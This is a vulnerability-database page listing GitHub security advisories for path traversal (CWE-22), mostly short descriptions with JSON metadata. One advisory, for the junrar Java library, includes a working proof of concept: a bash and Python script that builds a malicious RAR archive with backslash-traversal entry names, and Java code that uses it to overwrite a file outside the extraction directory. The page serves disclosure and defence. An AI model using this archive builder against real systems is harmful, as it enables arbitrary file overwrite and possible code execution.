CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
15153 vulnerabilities reference this CWE, most recent first.
GHSA-J23C-2CFM-F3M9
Vulnerability from github – Published: 2022-05-14 03:09 – Updated: 2026-08-17 18:30Path Traversal in Gateway in Mirasys DVMS Workstation 5.12.6 and earlier allows an attacker to traverse the file system to access files or directories via the Web Client webserver.
{
"affected": [],
"aliases": [
"CVE-2018-8727"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-06-19T19:29:00Z",
"severity": "HIGH"
},
"details": "Path Traversal in Gateway in Mirasys DVMS Workstation 5.12.6 and earlier allows an attacker to traverse the file system to access files or directories via the Web Client webserver.",
"id": "GHSA-j23c-2cfm-f3m9",
"modified": "2026-08-17T18:30:58Z",
"published": "2022-05-14T03:09:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-8727"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/44907"
},
{
"type": "WEB",
"url": "https://www.onvio.nl/nieuws/cve-mirasys-vulnerability"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-J249-2V56-GW58
Vulnerability from github – Published: 2022-05-02 03:58 – Updated: 2022-05-02 03:58Multiple directory traversal vulnerabilities in Sysax Multi Server 4.5 allow remote authenticated users to read or modify arbitrary files via crafted FTP commands. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.
{
"affected": [],
"aliases": [
"CVE-2009-4790"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-04-22T14:30:00Z",
"severity": "HIGH"
},
"details": "Multiple directory traversal vulnerabilities in Sysax Multi Server 4.5 allow remote authenticated users to read or modify arbitrary files via crafted FTP commands. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.",
"id": "GHSA-j249-2v56-gw58",
"modified": "2022-05-02T03:58:15Z",
"published": "2022-05-02T03:58:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-4790"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/34433"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-J24V-HVRR-GW8V
Vulnerability from github – Published: 2022-05-24 19:14 – Updated: 2022-05-24 19:14Improper Access Control in Jfinal CMS v4.7.1 and earlier allows remote attackers to obtain sensitive infromation via the 'getFolder()' function in the component '/modules/filemanager/FileManager.java'.
{
"affected": [],
"aliases": [
"CVE-2020-19147"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-09-15T14:15:00Z",
"severity": "MODERATE"
},
"details": "Improper Access Control in Jfinal CMS v4.7.1 and earlier allows remote attackers to obtain sensitive infromation via the \u0027getFolder()\u0027 function in the component \u0027/modules/filemanager/FileManager.java\u0027.",
"id": "GHSA-j24v-hvrr-gw8v",
"modified": "2022-05-24T19:14:39Z",
"published": "2022-05-24T19:14:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-19147"
},
{
"type": "WEB",
"url": "https://www.seebug.org/vuldb/ssvid-97883"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-J24X-X8JJ-MV7G
Vulnerability from github – Published: 2024-10-03 18:30 – Updated: 2024-12-18 15:32A directory traversal vulnerability exists in the archive download functionality of Veertu Anka Build 1.42.0. A specially crafted HTTP request can lead to a disclosure of arbitrary files. An attacker can make an unauthenticated HTTP request to exploit this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2024-41163"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-03T16:15:05Z",
"severity": "HIGH"
},
"details": "A directory traversal vulnerability exists in the archive download functionality of Veertu Anka Build 1.42.0. A specially crafted HTTP request can lead to a disclosure of arbitrary files. An attacker can make an unauthenticated HTTP request to exploit this vulnerability.",
"id": "GHSA-j24x-x8jj-mv7g",
"modified": "2024-12-18T15:32:58Z",
"published": "2024-10-03T18:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41163"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2024-2059"
},
{
"type": "WEB",
"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2024-2059"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-J262-2RH9-XJV4
Vulnerability from github – Published: 2026-08-01 03:31 – Updated: 2026-08-01 03:31The Bit integrations – Form Integration, Webhook, Spreadsheets, CRM, LMS & Email Automation plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 2.9.0 via the processAttachment function. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.
{
"affected": [],
"aliases": [
"CVE-2026-15006"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-01T03:16:25Z",
"severity": "HIGH"
},
"details": "The Bit integrations \u2013 Form Integration, Webhook, Spreadsheets, CRM, LMS \u0026 Email Automation plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 2.9.0 via the processAttachment function. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.",
"id": "GHSA-j262-2rh9-xjv4",
"modified": "2026-08-01T03:31:13Z",
"published": "2026-08-01T03:31:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15006"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/bit-integrations/tags/2.8.11/backend/Actions/Mail/MailController.php#L123"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/bit-integrations/tags/2.8.11/backend/Actions/Mail/MailController.php#L59"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/bit-integrations/tags/2.8.11/backend/Triggers/CF7/CF7Controller.php#L127"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/bit-integrations/tags/2.8.11/backend/Triggers/CF7/Hooks.php#L11"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/bit-integrations/tags/2.9.0/backend/Actions/Mail/MailController.php#L123"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/bit-integrations/tags/2.9.0/backend/Actions/Mail/MailController.php#L59"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/bit-integrations/tags/2.9.0/backend/Triggers/CF7/CF7Controller.php#L127"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/bit-integrations/tags/2.9.0/backend/Triggers/CF7/Hooks.php#L11"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?reponame=\u0026old=3605525%40bit-integrations\u0026new=3605525%40bit-integrations"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9b00da60-7d2d-467e-ab58-0bb4af0cbda5?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-J269-QHVQ-9Q42
Vulnerability from github – Published: 2022-06-28 00:00 – Updated: 2022-07-08 00:00A vulnerability was found in Album Lock 4.0 and classified as critical. Affected by this issue is some unknown functionality of the file /getImage. The manipulation of the argument filePaht leads to path traversal. Attacking locally is a requirement. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2017-20102"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-06-27T14:15:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in Album Lock 4.0 and classified as critical. Affected by this issue is some unknown functionality of the file /getImage. The manipulation of the argument filePaht leads to path traversal. Attacking locally is a requirement. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-j269-qhvq-9q42",
"modified": "2022-07-08T00:00:51Z",
"published": "2022-06-28T00:00:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-20102"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.97268"
},
{
"type": "WEB",
"url": "https://www.vulnerability-lab.com/get_content.php?id=2033"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-J26C-27CJ-XP5R
Vulnerability from github – Published: 2022-05-14 01:35 – Updated: 2022-05-14 01:35Helm ChartMuseum version >=0.1.0 and < 0.8.1 contains a CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in HTTP API to save charts that can result in a specially crafted chart could be uploaded and saved outside the intended location. This attack appears to be exploitable via A POST request to the HTTP API can save a chart archive outside of the intended directory. If authentication is, optionally, enabled this requires an authorized user to do so. This vulnerability appears to have been fixed in 0.8.1.
{
"affected": [],
"aliases": [
"CVE-2019-1000009"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-02-04T21:29:00Z",
"severity": "MODERATE"
},
"details": "Helm ChartMuseum version \u003e=0.1.0 and \u003c 0.8.1 contains a CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerability in HTTP API to save charts that can result in a specially crafted chart could be uploaded and saved outside the intended location. This attack appears to be exploitable via A POST request to the HTTP API can save a chart archive outside of the intended directory. If authentication is, optionally, enabled this requires an authorized user to do so. This vulnerability appears to have been fixed in 0.8.1.",
"id": "GHSA-j26c-27cj-xp5r",
"modified": "2022-05-14T01:35:22Z",
"published": "2022-05-14T01:35:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1000009"
},
{
"type": "WEB",
"url": "https://helm.sh/blog/chartmuseum-security-notice-2019/index.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-J26V-VFRM-7J84
Vulnerability from github – Published: 2026-09-01 21:31 – Updated: 2026-09-01 21:31An unauthenticated arbitrary file write vulnerability exists in an API endpoint of AOS-CX. Successful exploitation of this vulnerability allows an attacker to write arbitrary files to the underlying operating system, which could lead to remote code execution.
{
"affected": [],
"aliases": [
"CVE-2026-73752"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-01T21:18:41Z",
"severity": "HIGH"
},
"details": "An unauthenticated arbitrary file write vulnerability exists in an API endpoint of AOS-CX. Successful exploitation of this vulnerability allows an attacker to write arbitrary files to the underlying operating system, which could lead to remote code execution.",
"id": "GHSA-j26v-vfrm-7j84",
"modified": "2026-09-01T21:31:50Z",
"published": "2026-09-01T21:31:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73752"
},
{
"type": "WEB",
"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05134en_us\u0026docLocale=en_US"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-J273-M5QQ-6825
Vulnerability from github – Published: 2026-02-27 22:09 – Updated: 2026-02-27 22:09Summary
A backslash path traversal vulnerability in LocalFolderExtractor allows an attacker to write arbitrary files with attacker-controlled content anywhere on the filesystem when a crafted RAR archive is extracted on Linux/Unix. This can often lead to remote code execution (e.g., overwriting shell profiles, source code, cron jobs, etc).
Details
The createFile() method in LocalFolderExtractor.java validates extraction paths using getCanonicalPath().startsWith() to ensure files stay within the destination directory:
File f = new File(destination, name);
String dirCanonPath = f.getCanonicalPath();
if (!dirCanonPath.startsWith(destination.getCanonicalPath())) {
throw new IllegalStateException("Rar contains file with invalid path: '" + dirCanonPath + "'");
}
On Linux/Unix, backslashes are literal filename characters, not path separators. A RAR entry named ..\..\tmp\evil.txt is treated by getCanonicalPath() as a single literal filename containing backslash characters — no .. resolution occurs, and the startsWith check passes.
However, makeFile() then splits the filename on backslashes and reconstructs the path using the platform's file separator:
final String[] dirs = name.split("\\\\");
// dirs = ["..", "..", "tmp", "evil.txt"]
// ...
path = path + File.separator + dirs[i]; // File.separator is "/" on Linux
This converts the literal backslashes into real directory traversal: ../../tmp/evil.txt. The extract() method then opens a FileOutputStream on this path and writes the RAR entry's content to it, achieving arbitrary file write outside the extraction directory.
On Windows this is not exploitable because backslashes are path separators, so getCanonicalPath() correctly resolves the .. components and the startsWith check blocks the traversal.
Affected versions: Tested on 7.5.7 (latest). Likely affects all versions that include the makeFile() backslash-splitting logic in LocalFolderExtractor.
PoC (Files Below)
Prerequisites: Linux/Unix system with Java 17+ and Maven installed.
- Run
bash poc_setup.shwhich installs junrar 7.5.7 via Maven, creates a malicious RAR archive containing an entry with a backslash-traversal filename (..\..\tmp\existing-file), and creates/tmp/existing-filewith the content "Existing File" to simulate a pre-existing file. - Run
mvn exec:java -Dexec.mainClass='com.test.BackslashTraversalPoC' -q - Observe the output shows
/tmp/existing-filewas overwritten from "Existing File" to "Overwritten", confirming the file outside the extraction directory was written with attacker-controlled content.
The PoC uses Junrar.extract() — the standard public API for extracting RAR archives.
Impact
Any application that extracts user-supplied RAR archives using junrar on Linux/Unix is vulnerable to arbitrary file write/overwrite with attacker-controlled content. This can often lead to RCE.
This affects all Linux/Unix deployments. Windows is not affected.
POC Files
poc_setup.sh
#!/bin/bash
# Setup script for junrar backslash path traversal PoC
# Vulnerability: CWE-22/CWE-29 - Backslash path traversal bypass in LocalFolderExtractor
# Package: com.github.junrar:junrar 7.5.7 (Java)
set -e
# Use the directory where this script lives as the working directory
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
cd "$SCRIPT_DIR"
echo "=== Setting up junrar backslash path traversal PoC ==="
echo "Working directory: $SCRIPT_DIR"
# Clean up artifacts from previous runs
rm -f malicious.rar
rm -rf target extraction-output
# Verify Java and Maven are available
java -version 2>&1 | head -1 || { echo "ERROR: Java not found"; exit 1; }
mvn -version 2>&1 | head -1 || { echo "ERROR: Maven not found"; exit 1; }
# Create Maven project
cat > pom.xml << 'POMEOF'
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.test</groupId>
<artifactId>junrar-poc</artifactId>
<version>1.0</version>
<packaging>jar</packaging>
<properties>
<maven.compiler.source>17</maven.compiler.source>
<maven.compiler.target>17</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>com.github.junrar</groupId>
<artifactId>junrar</artifactId>
<version>7.5.7</version>
</dependency>
</dependencies>
</project>
POMEOF
# Install dependencies
echo "Installing junrar 7.5.7..."
mvn dependency:resolve -q
# Copy and compile PoC
mkdir -p src/main/java/com/test
cp poc.java src/main/java/com/test/BackslashTraversalPoC.java
echo "Compiling PoC..."
mvn compile -q
# Verify junrar version
echo "Installed: junrar 7.5.7"
# Create the malicious RAR3 archive:
# Entry 1: file with name "..\..\tmp\existing-file" containing "Overwritten"
#
# On Linux, createFile() validates the path using getCanonicalPath().startsWith().
# Since backslashes are literal characters on Linux, getCanonicalPath() does NOT
# resolve the ".." components, so the check passes. makeFile() then splits on
# backslashes and joins with File.separator (/), converting the literal backslashes
# into real directory traversal: ../../tmp/existing-file
python3 << 'PYEOF'
import struct, zlib
RAR3_MAGIC = b'Rar!\x1a\x07\x00'
RAR_BLOCK_MAIN = 0x73
RAR_BLOCK_FILE = 0x74
RAR_BLOCK_ENDARC = 0x7b
RAR_LONG_BLOCK = 0x8000
RAR_OS_UNIX = 3
RAR_M0 = 0x30 # Store (no compression)
S_IFREG = 0o100000
def crc16(data):
return zlib.crc32(data) & 0xFFFF
def main_header():
# Standard RAR3 main archive header (non-encrypted)
# After the 7-byte base block: HighPosAv (2 bytes) + PosAv (4 bytes)
# junrar always reads exactly 6 bytes here (MainHeader.mainHeaderSize = 6)
extra = struct.pack('<HI', 0, 0) # HighPosAv=0, PosAv=0
header_data = struct.pack('<BHH', RAR_BLOCK_MAIN, 0, 7 + len(extra)) + extra
return struct.pack('<H', crc16(header_data)) + header_data
def file_block(filename, file_data):
fname = filename.encode('utf-8')
data = file_data.encode('utf-8')
mode = S_IFREG | 0o644
# UNP_VER=0: junrar's doUnpack() calls unstoreFile() when method==0x30,
# then falls through to a switch on UNP_VER. Using 0 avoids matching any
# decompression case (15/20/26/29/36), so only unstoreFile() runs.
file_hdr = struct.pack('<LLBLLBBHL',
len(data), len(data), RAR_OS_UNIX,
zlib.crc32(data) & 0xFFFFFFFF, 0x5A210000,
0, RAR_M0, len(fname), mode)
header_body = struct.pack('<BHH', RAR_BLOCK_FILE, RAR_LONG_BLOCK,
7 + len(file_hdr) + len(fname)) + file_hdr + fname
return struct.pack('<H', crc16(header_body)) + header_body + data
def endarc():
# junrar's EndArcHeader.isValid() requires flags=0x4000 and CRC=0x3DC4
header_data = struct.pack('<BHH', RAR_BLOCK_ENDARC, 0x4000, 7)
crc = crc16(header_data)
return struct.pack('<H', crc) + header_data
archive = bytearray()
archive += RAR3_MAGIC
archive += main_header()
# Backslash-separated path: on Linux, createFile() sees literal backslashes,
# but makeFile() splits on them and joins with /
archive += file_block('..\\..\\tmp\\existing-file', 'Overwritten\n')
archive += endarc()
with open('malicious.rar', 'wb') as f:
f.write(archive)
PYEOF
echo "Created malicious.rar"
# Create the target file so it can be validated before running the payload
printf "Existing File\n" > /tmp/existing-file
echo ""
echo "=== Setup complete ==="
echo "Validate: cat /tmp/existing-file (should show 'Existing File')"
echo "Run PoC: mvn exec:java -Dexec.mainClass='com.test.BackslashTraversalPoC' -q"
poc.java
package com.test;
import com.github.junrar.Junrar;
import java.io.File;
import java.nio.file.Files;
import java.nio.file.Path;
/**
* PoC: Backslash path traversal bypass in junrar 7.5.7
*
* A RAR archive containing an entry with backslash-separated ".." components
* bypasses the createFile() canonical path validation on Linux and writes
* files outside the extraction directory via makeFile()'s path reconstruction.
*/
public class BackslashTraversalPoC {
static final String TARGET = "/tmp/existing-file";
static final String ARCHIVE = "malicious.rar";
public static void main(String[] args) throws Exception {
File archive = new File(ARCHIVE);
if (!archive.exists()) {
archive = new File(new File(System.getProperty("user.dir")).getParent(), ARCHIVE);
}
// Step 1: Verify the pre-existing file (created by poc_setup.sh)
File target = new File(TARGET);
if (!target.exists()) {
System.out.println("ERROR: " + TARGET + " not found. Run poc_setup.sh first.");
System.exit(1);
}
System.out.println("Before extraction:");
System.out.println(" " + TARGET + " => " + Files.readString(Path.of(TARGET)).trim());
System.out.println();
// Step 2: Extract the malicious archive
Path extractDir = Files.createTempDirectory("junrar-poc-");
System.out.println("Extracting " + archive.getAbsolutePath() + " into " + extractDir + " ...");
try {
Junrar.extract(archive, extractDir.toFile());
} catch (Exception e) {
System.out.println("Extraction error (may be expected): " + e.getMessage());
}
System.out.println();
// Step 3: Show the result
System.out.println("After extraction:");
String content = Files.readString(Path.of(TARGET)).trim();
System.out.println(" " + TARGET + " => " + content);
System.out.println();
if (content.equals("Overwritten")) {
System.out.println("VULNERABLE: junrar 7.5.7 backslash traversal overwrote " + TARGET);
} else {
System.out.println("NOT VULNERABLE: file contents unchanged");
}
}
}
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.github.junrar:junrar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.5.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-28208"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-27T22:09:27Z",
"nvd_published_at": "2026-02-26T23:16:35Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nA backslash path traversal vulnerability in `LocalFolderExtractor` allows an attacker to write arbitrary files with attacker-controlled content anywhere on the filesystem when a crafted RAR archive is extracted on Linux/Unix. This can often lead to remote code execution (e.g., overwriting shell profiles, source code, cron jobs, etc).\n\n### Details\n\nThe `createFile()` method in [`LocalFolderExtractor.java`](https://github.com/junrar/junrar/blob/master/src/main/java/com/github/junrar/LocalFolderExtractor.java) validates extraction paths using `getCanonicalPath().startsWith()` to ensure files stay within the destination directory:\n\n```java\nFile f = new File(destination, name);\nString dirCanonPath = f.getCanonicalPath();\nif (!dirCanonPath.startsWith(destination.getCanonicalPath())) {\n throw new IllegalStateException(\"Rar contains file with invalid path: \u0027\" + dirCanonPath + \"\u0027\");\n}\n```\n\nOn Linux/Unix, backslashes are literal filename characters, not path separators. A RAR entry named `..\\..\\tmp\\evil.txt` is treated by `getCanonicalPath()` as a single literal filename containing backslash characters \u2014 no `..` resolution occurs, and the `startsWith` check passes.\n\nHowever, `makeFile()` then splits the filename on backslashes and reconstructs the path using the platform\u0027s file separator:\n\n```java\nfinal String[] dirs = name.split(\"\\\\\\\\\");\n// dirs = [\"..\", \"..\", \"tmp\", \"evil.txt\"]\n// ...\npath = path + File.separator + dirs[i]; // File.separator is \"/\" on Linux\n```\n\nThis converts the literal backslashes into real directory traversal: `../../tmp/evil.txt`. The `extract()` method then opens a `FileOutputStream` on this path and writes the RAR entry\u0027s content to it, achieving arbitrary file write outside the extraction directory.\n\nOn Windows this is not exploitable because backslashes are path separators, so `getCanonicalPath()` correctly resolves the `..` components and the `startsWith` check blocks the traversal.\n\n**Affected versions:** Tested on 7.5.7 (latest). Likely affects all versions that include the `makeFile()` backslash-splitting logic in `LocalFolderExtractor`.\n\n### PoC (Files Below)\n\n**Prerequisites:** Linux/Unix system with Java 17+ and Maven installed.\n\n1. Run `bash poc_setup.sh` which installs junrar 7.5.7 via Maven, creates a malicious RAR archive containing an entry with a backslash-traversal filename (`..\\..\\tmp\\existing-file`), and creates `/tmp/existing-file` with the content \"Existing File\" to simulate a pre-existing file.\n2. Run `mvn exec:java -Dexec.mainClass=\u0027com.test.BackslashTraversalPoC\u0027 -q`\n3. Observe the output shows `/tmp/existing-file` was overwritten from \"Existing File\" to \"Overwritten\", confirming the file outside the extraction directory was written with attacker-controlled content.\n\nThe PoC uses `Junrar.extract()` \u2014 the standard public API for extracting RAR archives.\n\n### Impact\n\nAny application that extracts user-supplied RAR archives using junrar on Linux/Unix is vulnerable to arbitrary file write/overwrite with attacker-controlled content. This can often lead to RCE.\n\nThis affects all Linux/Unix deployments. Windows is not affected.\n\n## POC Files\n\n**poc_setup.sh**\n```\n#!/bin/bash\n# Setup script for junrar backslash path traversal PoC\n# Vulnerability: CWE-22/CWE-29 - Backslash path traversal bypass in LocalFolderExtractor\n# Package: com.github.junrar:junrar 7.5.7 (Java)\n\nset -e\n\n# Use the directory where this script lives as the working directory\nSCRIPT_DIR=\"$(cd \"$(dirname \"$0\")\" \u0026\u0026 pwd)\"\ncd \"$SCRIPT_DIR\"\n\necho \"=== Setting up junrar backslash path traversal PoC ===\"\necho \"Working directory: $SCRIPT_DIR\"\n\n# Clean up artifacts from previous runs\nrm -f malicious.rar\nrm -rf target extraction-output\n\n# Verify Java and Maven are available\njava -version 2\u003e\u00261 | head -1 || { echo \"ERROR: Java not found\"; exit 1; }\nmvn -version 2\u003e\u00261 | head -1 || { echo \"ERROR: Maven not found\"; exit 1; }\n\n# Create Maven project\ncat \u003e pom.xml \u003c\u003c \u0027POMEOF\u0027\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003cproject xmlns=\"http://maven.apache.org/POM/4.0.0\"\n xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\"\u003e\n \u003cmodelVersion\u003e4.0.0\u003c/modelVersion\u003e\n \u003cgroupId\u003ecom.test\u003c/groupId\u003e\n \u003cartifactId\u003ejunrar-poc\u003c/artifactId\u003e\n \u003cversion\u003e1.0\u003c/version\u003e\n \u003cpackaging\u003ejar\u003c/packaging\u003e\n \u003cproperties\u003e\n \u003cmaven.compiler.source\u003e17\u003c/maven.compiler.source\u003e\n \u003cmaven.compiler.target\u003e17\u003c/maven.compiler.target\u003e\n \u003cproject.build.sourceEncoding\u003eUTF-8\u003c/project.build.sourceEncoding\u003e\n \u003c/properties\u003e\n \u003cdependencies\u003e\n \u003cdependency\u003e\n \u003cgroupId\u003ecom.github.junrar\u003c/groupId\u003e\n \u003cartifactId\u003ejunrar\u003c/artifactId\u003e\n \u003cversion\u003e7.5.7\u003c/version\u003e\n \u003c/dependency\u003e\n \u003c/dependencies\u003e\n\u003c/project\u003e\nPOMEOF\n\n# Install dependencies\necho \"Installing junrar 7.5.7...\"\nmvn dependency:resolve -q\n\n# Copy and compile PoC\nmkdir -p src/main/java/com/test\ncp poc.java src/main/java/com/test/BackslashTraversalPoC.java\necho \"Compiling PoC...\"\nmvn compile -q\n\n# Verify junrar version\necho \"Installed: junrar 7.5.7\"\n\n# Create the malicious RAR3 archive:\n# Entry 1: file with name \"..\\..\\tmp\\existing-file\" containing \"Overwritten\"\n#\n# On Linux, createFile() validates the path using getCanonicalPath().startsWith().\n# Since backslashes are literal characters on Linux, getCanonicalPath() does NOT\n# resolve the \"..\" components, so the check passes. makeFile() then splits on\n# backslashes and joins with File.separator (/), converting the literal backslashes\n# into real directory traversal: ../../tmp/existing-file\npython3 \u003c\u003c \u0027PYEOF\u0027\nimport struct, zlib\n\nRAR3_MAGIC = b\u0027Rar!\\x1a\\x07\\x00\u0027\nRAR_BLOCK_MAIN = 0x73\nRAR_BLOCK_FILE = 0x74\nRAR_BLOCK_ENDARC = 0x7b\nRAR_LONG_BLOCK = 0x8000\nRAR_OS_UNIX = 3\nRAR_M0 = 0x30 # Store (no compression)\nS_IFREG = 0o100000\n\ndef crc16(data):\n return zlib.crc32(data) \u0026 0xFFFF\n\ndef main_header():\n # Standard RAR3 main archive header (non-encrypted)\n # After the 7-byte base block: HighPosAv (2 bytes) + PosAv (4 bytes)\n # junrar always reads exactly 6 bytes here (MainHeader.mainHeaderSize = 6)\n extra = struct.pack(\u0027\u003cHI\u0027, 0, 0) # HighPosAv=0, PosAv=0\n header_data = struct.pack(\u0027\u003cBHH\u0027, RAR_BLOCK_MAIN, 0, 7 + len(extra)) + extra\n return struct.pack(\u0027\u003cH\u0027, crc16(header_data)) + header_data\n\ndef file_block(filename, file_data):\n fname = filename.encode(\u0027utf-8\u0027)\n data = file_data.encode(\u0027utf-8\u0027)\n mode = S_IFREG | 0o644\n # UNP_VER=0: junrar\u0027s doUnpack() calls unstoreFile() when method==0x30,\n # then falls through to a switch on UNP_VER. Using 0 avoids matching any\n # decompression case (15/20/26/29/36), so only unstoreFile() runs.\n file_hdr = struct.pack(\u0027\u003cLLBLLBBHL\u0027,\n len(data), len(data), RAR_OS_UNIX,\n zlib.crc32(data) \u0026 0xFFFFFFFF, 0x5A210000,\n 0, RAR_M0, len(fname), mode)\n header_body = struct.pack(\u0027\u003cBHH\u0027, RAR_BLOCK_FILE, RAR_LONG_BLOCK,\n 7 + len(file_hdr) + len(fname)) + file_hdr + fname\n return struct.pack(\u0027\u003cH\u0027, crc16(header_body)) + header_body + data\n\ndef endarc():\n # junrar\u0027s EndArcHeader.isValid() requires flags=0x4000 and CRC=0x3DC4\n header_data = struct.pack(\u0027\u003cBHH\u0027, RAR_BLOCK_ENDARC, 0x4000, 7)\n crc = crc16(header_data)\n return struct.pack(\u0027\u003cH\u0027, crc) + header_data\n\narchive = bytearray()\narchive += RAR3_MAGIC\narchive += main_header()\n# Backslash-separated path: on Linux, createFile() sees literal backslashes,\n# but makeFile() splits on them and joins with /\narchive += file_block(\u0027..\\\\..\\\\tmp\\\\existing-file\u0027, \u0027Overwritten\\n\u0027)\narchive += endarc()\n\nwith open(\u0027malicious.rar\u0027, \u0027wb\u0027) as f:\n f.write(archive)\nPYEOF\necho \"Created malicious.rar\"\n\n# Create the target file so it can be validated before running the payload\nprintf \"Existing File\\n\" \u003e /tmp/existing-file\n\necho \"\"\necho \"=== Setup complete ===\"\necho \"Validate: cat /tmp/existing-file (should show \u0027Existing File\u0027)\"\necho \"Run PoC: mvn exec:java -Dexec.mainClass=\u0027com.test.BackslashTraversalPoC\u0027 -q\"\n```\n\n**poc.java**\n```\npackage com.test;\n\nimport com.github.junrar.Junrar;\nimport java.io.File;\nimport java.nio.file.Files;\nimport java.nio.file.Path;\n\n/**\n * PoC: Backslash path traversal bypass in junrar 7.5.7\n *\n * A RAR archive containing an entry with backslash-separated 